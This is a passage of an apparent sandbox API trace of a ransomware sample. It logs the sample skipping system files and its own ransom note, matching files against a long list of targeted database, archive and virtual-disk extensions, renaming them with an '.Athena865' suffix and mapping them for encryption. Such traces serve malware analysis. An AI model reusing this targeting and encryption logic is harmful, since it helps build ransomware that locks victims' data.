nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2=".") returned 1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="..") returned 1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="windows") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="bootmgr") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="temp") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="pagefile.sys") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="boot") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="ids.txt") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="ntuser.dat") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="perflogs") returned -1 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2="MSBuild") returned -1 [0097.857] lstrlenW (lpString="Active.GRL") returned 10 [0097.857] lstrcpyW (in: lpString1=0x241e880, lpString2="Active.GRL" | out: lpString1="Active.GRL") returned="Active.GRL" [0097.857] lstrlenW (lpString="Active.GRL") returned 10 [0097.857] lstrlenW (lpString="Athena865") returned 9 [0097.857] lstrcmpiW (lpString1="ctive.GRL", lpString2="Athena865") returned 1 [0097.857] lstrlenW (lpString=".dll") returned 4 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2=".dll") returned 1 [0097.857] lstrlenW (lpString=".lnk") returned 4 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2=".lnk") returned 1 [0097.857] lstrlenW (lpString=".ini") returned 4 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2=".ini") returned 1 [0097.857] lstrlenW (lpString=".sys") returned 4 [0097.857] lstrcmpiW (lpString1="Active.GRL", lpString2=".sys") returned 1 [0097.858] lstrlenW (lpString="Active.GRL") returned 10 [0097.858] lstrlenW (lpString="bak") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="bak") returned 1 [0097.858] lstrlenW (lpString="ba_") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="ba_") returned 1 [0097.858] lstrlenW (lpString="dbb") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="dbb") returned 1 [0097.858] lstrlenW (lpString="vmdk") returned 4 [0097.858] lstrcmpiW (lpString1=".GRL", lpString2="vmdk") returned -1 [0097.858] lstrlenW (lpString="rar") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="rar") returned -1 [0097.858] lstrlenW (lpString="zip") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="zip") returned -1 [0097.858] lstrlenW (lpString="tgz") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="tgz") returned -1 [0097.858] lstrlenW (lpString="vbox") returned 4 [0097.858] lstrcmpiW (lpString1=".GRL", lpString2="vbox") returned -1 [0097.858] lstrlenW (lpString="vdi") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="vdi") returned -1 [0097.858] lstrlenW (lpString="vhd") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="vhd") returned -1 [0097.858] lstrlenW (lpString="vhdx") returned 4 [0097.858] lstrcmpiW (lpString1=".GRL", lpString2="vhdx") returned -1 [0097.858] lstrlenW (lpString="avhd") returned 4 [0097.858] lstrcmpiW (lpString1=".GRL", lpString2="avhd") returned -1 [0097.858] lstrlenW (lpString="db") returned 2 [0097.858] lstrcmpiW (lpString1="RL", lpString2="db") returned 1 [0097.858] lstrlenW (lpString="db2") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="db2") returned 1 [0097.858] lstrlenW (lpString="db3") returned 3 [0097.858] lstrcmpiW (lpString1="GRL", lpString2="db3") returned 1 [0097.859] lstrlenW (lpString="dbf") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="dbf") returned 1 [0097.859] lstrlenW (lpString="mdf") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="mdf") returned -1 [0097.859] lstrlenW (lpString="mdb") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="mdb") returned -1 [0097.859] lstrlenW (lpString="sql") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="sql") returned -1 [0097.859] lstrlenW (lpString="sqlite") returned 6 [0097.859] lstrcmpiW (lpString1="ve.GRL", lpString2="sqlite") returned 1 [0097.859] lstrlenW (lpString="sqlite3") returned 7 [0097.859] lstrcmpiW (lpString1="ive.GRL", lpString2="sqlite3") returned -1 [0097.859] lstrlenW (lpString="sqlitedb") returned 8 [0097.859] lstrcmpiW (lpString1="tive.GRL", lpString2="sqlitedb") returned 1 [0097.859] lstrlenW (lpString="xml") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="xml") returned -1 [0097.859] lstrlenW (lpString="$er") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="$er") returned 1 [0097.859] lstrlenW (lpString="4dd") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="4dd") returned 1 [0097.859] lstrlenW (lpString="4dl") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="4dl") returned 1 [0097.859] lstrlenW (lpString="^^^") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="^^^") returned 1 [0097.859] lstrlenW (lpString="abs") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="abs") returned 1 [0097.859] lstrlenW (lpString="abx") returned 3 [0097.859] lstrcmpiW (lpString1="GRL", lpString2="abx") returned 1 [0097.859] lstrlenW (lpString="accdb") returned 5 [0097.859] lstrcmpiW (lpString1="e.GRL", lpString2="accdb") returned 1 [0097.859] lstrlenW (lpString="accdc") returned 5 [0097.859] lstrcmpiW (lpString1="e.GRL", lpString2="accdc") returned 1 [0097.860] lstrlenW (lpString="accde") returned 5 [0097.860] lstrcmpiW (lpString1="e.GRL", lpString2="accde") returned 1 [0097.860] lstrlenW (lpString="accdr") returned 5 [0097.860] lstrcmpiW (lpString1="e.GRL", lpString2="accdr") returned 1 [0097.860] lstrlenW (lpString="accdt") returned 5 [0097.860] lstrcmpiW (lpString1="e.GRL", lpString2="accdt") returned 1 [0097.860] lstrlenW (lpString="accdw") returned 5 [0097.860] lstrcmpiW (lpString1="e.GRL", lpString2="accdw") returned 1 [0097.860] lstrlenW (lpString="accft") returned 5 [0097.860] lstrcmpiW (lpString1="e.GRL", lpString2="accft") returned 1 [0097.860] lstrlenW (lpString="adb") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1 [0097.860] lstrlenW (lpString="adb") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="adb") returned 1 [0097.860] lstrlenW (lpString="ade") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="ade") returned 1 [0097.860] lstrlenW (lpString="adf") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="adf") returned 1 [0097.860] lstrlenW (lpString="adn") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="adn") returned 1 [0097.860] lstrlenW (lpString="adp") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="adp") returned 1 [0097.860] lstrlenW (lpString="alf") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="alf") returned 1 [0097.860] lstrlenW (lpString="ask") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="ask") returned 1 [0097.860] lstrlenW (lpString="btr") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="btr") returned 1 [0097.860] lstrlenW (lpString="cat") returned 3 [0097.860] lstrcmpiW (lpString1="GRL", lpString2="cat") returned 1 [0097.861] lstrlenW (lpString="cdb") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="cdb") returned 1 [0097.861] lstrlenW (lpString="ckp") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="ckp") returned 1 [0097.861] lstrlenW (lpString="cma") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="cma") returned 1 [0097.861] lstrlenW (lpString="cpd") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="cpd") returned 1 [0097.861] lstrlenW (lpString="dacpac") returned 6 [0097.861] lstrcmpiW (lpString1="ve.GRL", lpString2="dacpac") returned 1 [0097.861] lstrlenW (lpString="dad") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="dad") returned 1 [0097.861] lstrlenW (lpString="dadiagrams") returned 10 [0097.861] lstrlenW (lpString="daschema") returned 8 [0097.861] lstrcmpiW (lpString1="tive.GRL", lpString2="daschema") returned 1 [0097.861] lstrlenW (lpString="db-journal") returned 10 [0097.861] lstrlenW (lpString="db-shm") returned 6 [0097.861] lstrcmpiW (lpString1="ve.GRL", lpString2="db-shm") returned 1 [0097.861] lstrlenW (lpString="db-wal") returned 6 [0097.861] lstrcmpiW (lpString1="ve.GRL", lpString2="db-wal") returned 1 [0097.861] lstrlenW (lpString="dbc") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="dbc") returned 1 [0097.861] lstrlenW (lpString="dbs") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="dbs") returned 1 [0097.861] lstrlenW (lpString="dbt") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="dbt") returned 1 [0097.861] lstrlenW (lpString="dbv") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="dbv") returned 1 [0097.861] lstrlenW (lpString="dbx") returned 3 [0097.861] lstrcmpiW (lpString1="GRL", lpString2="dbx") returned 1 [0097.861] lstrlenW (lpString="dcb") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dcb") returned 1 [0097.862] lstrlenW (lpString="dct") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dct") returned 1 [0097.862] lstrlenW (lpString="dcx") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dcx") returned 1 [0097.862] lstrlenW (lpString="ddl") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="ddl") returned 1 [0097.862] lstrlenW (lpString="dlis") returned 4 [0097.862] lstrcmpiW (lpString1=".GRL", lpString2="dlis") returned -1 [0097.862] lstrlenW (lpString="dp1") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dp1") returned 1 [0097.862] lstrlenW (lpString="dqy") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dqy") returned 1 [0097.862] lstrlenW (lpString="dsk") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dsk") returned 1 [0097.862] lstrlenW (lpString="dsn") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dsn") returned 1 [0097.862] lstrlenW (lpString="dtsx") returned 4 [0097.862] lstrcmpiW (lpString1=".GRL", lpString2="dtsx") returned -1 [0097.862] lstrlenW (lpString="dxl") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="dxl") returned 1 [0097.862] lstrlenW (lpString="eco") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="eco") returned 1 [0097.862] lstrlenW (lpString="ecx") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="ecx") returned 1 [0097.862] lstrlenW (lpString="edb") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="edb") returned 1 [0097.862] lstrlenW (lpString="epim") returned 4 [0097.862] lstrcmpiW (lpString1=".GRL", lpString2="epim") returned -1 [0097.862] lstrlenW (lpString="fcd") returned 3 [0097.862] lstrcmpiW (lpString1="GRL", lpString2="fcd") returned 1 [0097.863] lstrlenW (lpString="fdb") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fdb") returned 1 [0097.863] lstrlenW (lpString="fic") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fic") returned 1 [0097.863] lstrlenW (lpString="flexolibrary") returned 12 [0097.863] lstrlenW (lpString="fm5") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fm5") returned 1 [0097.863] lstrlenW (lpString="fmp") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fmp") returned 1 [0097.863] lstrlenW (lpString="fmp12") returned 5 [0097.863] lstrcmpiW (lpString1="e.GRL", lpString2="fmp12") returned -1 [0097.863] lstrlenW (lpString="fmpsl") returned 5 [0097.863] lstrcmpiW (lpString1="e.GRL", lpString2="fmpsl") returned -1 [0097.863] lstrlenW (lpString="fol") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fol") returned 1 [0097.863] lstrlenW (lpString="fp3") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fp3") returned 1 [0097.863] lstrlenW (lpString="fp4") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fp4") returned 1 [0097.863] lstrlenW (lpString="fp5") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fp5") returned 1 [0097.863] lstrlenW (lpString="fp7") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fp7") returned 1 [0097.863] lstrlenW (lpString="fpt") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="fpt") returned 1 [0097.863] lstrlenW (lpString="frm") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="frm") returned 1 [0097.863] lstrlenW (lpString="gdb") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="gdb") returned 1 [0097.863] lstrlenW (lpString="gdb") returned 3 [0097.863] lstrcmpiW (lpString1="GRL", lpString2="gdb") returned 1 [0097.864] lstrlenW (lpString="grdb") returned 4 [0097.864] lstrcmpiW (lpString1=".GRL", lpString2="grdb") returned -1 [0097.864] lstrlenW (lpString="gwi") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="gwi") returned -1 [0097.864] lstrlenW (lpString="hdb") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="hdb") returned -1 [0097.864] lstrlenW (lpString="his") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="his") returned -1 [0097.864] lstrlenW (lpString="ib") returned 2 [0097.864] lstrcmpiW (lpString1="RL", lpString2="ib") returned 1 [0097.864] lstrlenW (lpString="idb") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="idb") returned -1 [0097.864] lstrlenW (lpString="ihx") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="ihx") returned -1 [0097.864] lstrlenW (lpString="itdb") returned 4 [0097.864] lstrcmpiW (lpString1=".GRL", lpString2="itdb") returned -1 [0097.864] lstrlenW (lpString="itw") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="itw") returned -1 [0097.864] lstrlenW (lpString="jet") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="jet") returned -1 [0097.864] lstrlenW (lpString="jtx") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="jtx") returned -1 [0097.864] lstrlenW (lpString="kdb") returned 3 [0097.864] lstrcmpiW (lpString1="GRL", lpString2="kdb") returned -1 [0097.864] lstrlenW (lpString="kexi") returned 4 [0097.864] lstrcmpiW (lpString1=".GRL", lpString2="kexi") returned -1 [0097.864] lstrlenW (lpString="kexic") returned 5 [0097.864] lstrcmpiW (lpString1="e.GRL", lpString2="kexic") returned -1 [0097.864] lstrlenW (lpString="kexis") returned 5 [0097.864] lstrcmpiW (lpString1="e.GRL", lpString2="kexis") returned -1 [0097.865] lstrlenW (lpString="lgc") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="lgc") returned -1 [0097.865] lstrlenW (lpString="lwx") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="lwx") returned -1 [0097.865] lstrlenW (lpString="maf") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="maf") returned -1 [0097.865] lstrlenW (lpString="maq") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="maq") returned -1 [0097.865] lstrlenW (lpString="mar") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mar") returned -1 [0097.865] lstrlenW (lpString="marshal") returned 7 [0097.865] lstrcmpiW (lpString1="ive.GRL", lpString2="marshal") returned -1 [0097.865] lstrlenW (lpString="mas") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mas") returned -1 [0097.865] lstrlenW (lpString="mav") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mav") returned -1 [0097.865] lstrlenW (lpString="maw") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="maw") returned -1 [0097.865] lstrlenW (lpString="mdbhtml") returned 7 [0097.865] lstrcmpiW (lpString1="ive.GRL", lpString2="mdbhtml") returned -1 [0097.865] lstrlenW (lpString="mdn") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mdn") returned -1 [0097.865] lstrlenW (lpString="mdt") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mdt") returned -1 [0097.865] lstrlenW (lpString="mfd") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mfd") returned -1 [0097.865] lstrlenW (lpString="mpd") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mpd") returned -1 [0097.865] lstrlenW (lpString="mrg") returned 3 [0097.865] lstrcmpiW (lpString1="GRL", lpString2="mrg") returned -1 [0097.865] lstrlenW (lpString="mud") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="mud") returned -1 [0097.866] lstrlenW (lpString="mwb") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="mwb") returned -1 [0097.866] lstrlenW (lpString="myd") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="myd") returned -1 [0097.866] lstrlenW (lpString="ndf") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="ndf") returned -1 [0097.866] lstrlenW (lpString="nnt") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="nnt") returned -1 [0097.866] lstrlenW (lpString="nrmlib") returned 6 [0097.866] lstrcmpiW (lpString1="ve.GRL", lpString2="nrmlib") returned 1 [0097.866] lstrlenW (lpString="ns2") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="ns2") returned -1 [0097.866] lstrlenW (lpString="ns3") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="ns3") returned -1 [0097.866] lstrlenW (lpString="ns4") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="ns4") returned -1 [0097.866] lstrlenW (lpString="nsf") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="nsf") returned -1 [0097.866] lstrlenW (lpString="nv") returned 2 [0097.866] lstrcmpiW (lpString1="RL", lpString2="nv") returned 1 [0097.866] lstrlenW (lpString="nv2") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="nv2") returned -1 [0097.866] lstrlenW (lpString="nwdb") returned 4 [0097.866] lstrcmpiW (lpString1=".GRL", lpString2="nwdb") returned -1 [0097.866] lstrlenW (lpString="nyf") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="nyf") returned -1 [0097.866] lstrlenW (lpString="odb") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="odb") returned -1 [0097.866] lstrlenW (lpString="odb") returned 3 [0097.866] lstrcmpiW (lpString1="GRL", lpString2="odb") returned -1 [0097.867] lstrlenW (lpString="oqy") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="oqy") returned -1 [0097.867] lstrlenW (lpString="ora") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="ora") returned -1 [0097.867] lstrlenW (lpString="orx") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="orx") returned -1 [0097.867] lstrlenW (lpString="owc") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="owc") returned -1 [0097.867] lstrlenW (lpString="p96") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="p96") returned -1 [0097.867] lstrlenW (lpString="p97") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="p97") returned -1 [0097.867] lstrlenW (lpString="pan") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="pan") returned -1 [0097.867] lstrlenW (lpString="pdb") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="pdb") returned -1 [0097.867] lstrlenW (lpString="pdm") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="pdm") returned -1 [0097.867] lstrlenW (lpString="pnz") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="pnz") returned -1 [0097.867] lstrlenW (lpString="qry") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="qry") returned -1 [0097.867] lstrlenW (lpString="qvd") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="qvd") returned -1 [0097.867] lstrlenW (lpString="rbf") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="rbf") returned -1 [0097.867] lstrlenW (lpString="rctd") returned 4 [0097.867] lstrcmpiW (lpString1=".GRL", lpString2="rctd") returned -1 [0097.867] lstrlenW (lpString="rod") returned 3 [0097.867] lstrcmpiW (lpString1="GRL", lpString2="rod") returned -1 [0097.867] lstrlenW (lpString="rodx") returned 4 [0097.868] lstrcmpiW (lpString1=".GRL", lpString2="rodx") returned -1 [0097.868] lstrlenW (lpString="rpd") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="rpd") returned -1 [0097.868] lstrlenW (lpString="rsd") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="rsd") returned -1 [0097.868] lstrlenW (lpString="sas7bdat") returned 8 [0097.868] lstrcmpiW (lpString1="tive.GRL", lpString2="sas7bdat") returned 1 [0097.868] lstrlenW (lpString="sbf") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="sbf") returned -1 [0097.868] lstrlenW (lpString="scx") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="scx") returned -1 [0097.868] lstrlenW (lpString="sdb") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="sdb") returned -1 [0097.868] lstrlenW (lpString="sdc") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="sdc") returned -1 [0097.868] lstrlenW (lpString="sdf") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="sdf") returned -1 [0097.868] lstrlenW (lpString="sis") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="sis") returned -1 [0097.868] lstrlenW (lpString="spq") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="spq") returned -1 [0097.868] lstrlenW (lpString="te") returned 2 [0097.868] lstrcmpiW (lpString1="RL", lpString2="te") returned -1 [0097.868] lstrlenW (lpString="teacher") returned 7 [0097.868] lstrcmpiW (lpString1="ive.GRL", lpString2="teacher") returned -1 [0097.868] lstrlenW (lpString="tmd") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="tmd") returned -1 [0097.868] lstrlenW (lpString="tps") returned 3 [0097.868] lstrcmpiW (lpString1="GRL", lpString2="tps") returned -1 [0097.868] lstrlenW (lpString="trc") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="trc") returned -1 [0097.869] lstrlenW (lpString="trc") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="trc") returned -1 [0097.869] lstrlenW (lpString="trm") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="trm") returned -1 [0097.869] lstrlenW (lpString="udb") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="udb") returned -1 [0097.869] lstrlenW (lpString="udl") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="udl") returned -1 [0097.869] lstrlenW (lpString="usr") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="usr") returned -1 [0097.869] lstrlenW (lpString="v12") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="v12") returned -1 [0097.869] lstrlenW (lpString="vis") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="vis") returned -1 [0097.869] lstrlenW (lpString="vpd") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="vpd") returned -1 [0097.869] lstrlenW (lpString="vvv") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="vvv") returned -1 [0097.869] lstrlenW (lpString="wdb") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="wdb") returned -1 [0097.869] lstrlenW (lpString="wmdb") returned 4 [0097.869] lstrcmpiW (lpString1=".GRL", lpString2="wmdb") returned -1 [0097.869] lstrlenW (lpString="wrk") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="wrk") returned -1 [0097.869] lstrlenW (lpString="xdb") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="xdb") returned -1 [0097.869] lstrlenW (lpString="xld") returned 3 [0097.869] lstrcmpiW (lpString1="GRL", lpString2="xld") returned -1 [0097.869] lstrlenW (lpString="xmlff") returned 5 [0097.870] lstrcmpiW (lpString1="e.GRL", lpString2="xmlff") returned -1 [0097.870] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.Athena865") returned 48 [0097.870] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.Athena865" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl.athena865"), dwFlags=0x1) returned 1 [0097.870] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.Athena865" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0097.870] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14972) returned 1 [0097.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5397e8 [0097.871] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0097.871] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0097.871] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.872] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.872] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d80, lpName=0x0) returned 0x154 [0097.872] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d80) returned 0x100000 [0097.876] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0097.876] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.876] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0097.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0097.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0097.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0097.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.877] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.877] CloseHandle (hObject=0x154) returned 1 [0097.877] CloseHandle (hObject=0x17c) returned 1 [0097.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5397e8 | out: hHeap=0x4f0000) returned 1 [0097.878] HeapFree 